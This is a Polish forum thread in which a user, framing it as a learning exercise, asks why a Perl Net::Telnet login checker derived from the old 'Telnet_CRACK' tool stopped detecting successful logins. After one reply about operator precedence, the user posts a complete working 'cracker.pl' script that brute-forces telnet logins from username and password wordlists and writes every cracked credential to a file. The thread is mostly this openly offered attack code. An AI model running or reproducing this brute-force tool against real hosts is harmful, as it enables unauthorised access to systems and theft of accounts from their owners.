perl i Net::Telnet

0

Witam,
w ramach nauki piszę prostą aplikacje, która łączy się z serwerem telnet i zwraca czy z podanym loginem i hasłem można było się zalogować. Kiedyś był taki program Telnet_CRACK którego kod wyglądał mniej więcej tak:

# CONNECTION.
sub connect {
print "\n\nProba polaczenia z $HOST.";
$telnet = new Net::Telnet (Timeout => 5, Errmode => "return");
$telnet-> open("$HOST");
print "\n\nOK ... Polaczono!!!\n\n";    
};

# DO_IT.
sub do_it{
print "\nProbuje : Uzytkownik = $USER Haslo = $PASS";
$telnet -> login($USER,$PASS) and &success;
$telnet -> close;
};

# SUCCESS.
sub success {
open (LOGFILE, ">>TELNET_CRACK") or die "\a\nERROR UNABLE TO OPEN TELNET_CRACK.\n $!";
print "\a\a\a";
print "\nUzytkownik: $USER, haslo: $PASS a $HOST.\n\n\n\n\n";
print LOGFILE "\nUSERNAME: $USER has PASSWORD: $PASS on $HOST.\n\n";
close LOGFILE;
&quit;
};

Wywoływania funkcji (connect, do_it) oczywiście były zagnieżdżone w pętlach foreach. Wszystko fajnie, tylko zauważyłem, że przestała ta funkcja działać. Nie wiem czy na wszystkich dystrybucjach jest taki problem (cholera za przeproszeniem wie). W logach ładnie widze, że nastąpiło otwarcie sesji, po czym nastąpiło jej zamknięcie.
Grzebałem i grzebałem i doszedłem do wniosku, że problem musi leżeć tu:
$telnet -> login($USER,$PASS) and &success;
Po prostu po zalogowaniu (poprawnym) nie jest wykonywana i tak funkcja success. Moje pytani więc brzmi... w jaki sposób mogę zwrócić do swojego programu kod operacji logowania się przez telnet? Chodzi mi o to abym mógł stwierdzić czy dane hasło/login były prawidłowe czy też nie? Macie może jakieś pomysły?

0
us3r napisał(a)

$telnet -> login($USER,$PASS) and &success;
Po prostu po zalogowaniu (poprawnym) nie jest wykonywana i tak funkcja success. Moje pytani więc brzmi... w jaki sposób mogę zwrócić do swojego programu kod operacji logowania się przez telnet? Chodzi mi o to abym mógł stwierdzić czy dane hasło/login były prawidłowe czy też nie? Macie może jakieś pomysły?

Próbowałeś zmienić to na zwykłe success() if $telnet->login($USER, $PASS); ? Może w grę wchodzą priorytety operatorów...

0

tak niestety to też nie pomoga. Co śmieszniejsze wiem że to kiedyś działało, wygląda na to jakby PAM coś mieszał. Spróbuje usunąć autentyfikacje z użyciem PAM, może to pomoże... niemniej jakby ktoś znał inny sposób to byłbym rad :)

EDIT

Rozwiązałem problem w sposób mało elegancki - ale działający:

#!/usr/bin/perl
 
use strict;
use Getopt::Long; 
use Net::Telnet;
 
use vars qw($host $user $pass);
my $result = GetOptions ("h|host=s" => \$host,
                         "u|user=s" => \$user,
                         "p|pass=s" => \$pass,
                        );
 
if (!$host || !$user || !$pass) { &usage; exit };
 
if (! -e "CRACKED") {
        open (LOGFILE, ">CRACKED") or die  "\a\nError: Nie moge otworzyc pliku CRACKED.\n $!";
        print LOGFILE "\n\t\t\tCracked Host:";
        close LOGFILE;
};
 
 
# zmienne 
my @USERNAMES;
my @PASSWORDS;
my $USER;
my $PASS;
my $telnet;
my $msg;
 
 
if (-e $user) {
        open (USERFILE, "$user") or die "\a\nError: Nie moge otworzyc pliku $user.\n $!";       
        @USERNAMES = <USERFILE>;
        close USERFILE;
}else {$USERNAMES[0]=$user};
 
if (-e $pass) {
        open (USERFILE, "$pass") or die "\a\nError: Nie moge otworzyc pliku $pass.\n $!";       
        @PASSWORDS = <USERFILE>;
        close USERFILE;
}else {$PASSWORDS[0]=$pass};
 
        $telnet = new Net::Telnet (Timeout => 10, Errmode=>"return" );
        $telnet-> open("$host");
        if ($telnet->error()) {print "Nie moge nawiazac polaczenia z $host\n"; exit 2};
        $telnet->close; 
 
 
foreach my $i ( @USERNAMES ) {
        chomp $i;
        $USER=$i;
        foreach my $j ( @PASSWORDS ) {
                 chomp $j;
                 $PASS=$j;
                 &sprawdz;
         };
};
 
sub  sprawdz {
        $telnet = new Net::Telnet (Timeout => 10, Errmode=>"return" );
        $telnet-> open("$host");
        print "\nProbuje : Uzytkownik = $USER Haslo = $PASS";
        $telnet -> login($USER,$PASS);
        $msg=$telnet->errmsg();
        if ( $msg ne "login failed: bad name or password") {&ok;};        
        $telnet -> close;
};
sub ok {
        open (LOGFILE, ">>CRACKED") or die "\a\nERROR: Nie moge otworzyc pliku CRACKED.\n $!";
        print "\n\nZlamalem haslo uzytkownika: $USER, haslo to: $PASS na $host.\n";
        print LOGFILE "\nUzytkownik: $USER ma haslo: $PASS na $host.\n\n";
        close LOGFILE;
        exit;
};
 
 
sub usage {
        print "cracker.pl: [-h host] [-u user file] [-p pass file]\n
        \t-h -host\tPodaj nazwe hosta\n
        \t-u -user\tPodaj slownik z nazwami uzytkownika\n
        \t-p -pass\tPodaj slownik z mozliwymi haslami\n
        Jezeli wskazany slownik nie istnieje, potraktuje jego nazwe jako staly login/haslo uzytkownika.\n";
        exit;
};
 
#by us3r based on Telnet_Crack.

1 użytkowników online, w tym zalogowanych: 0, gości: 1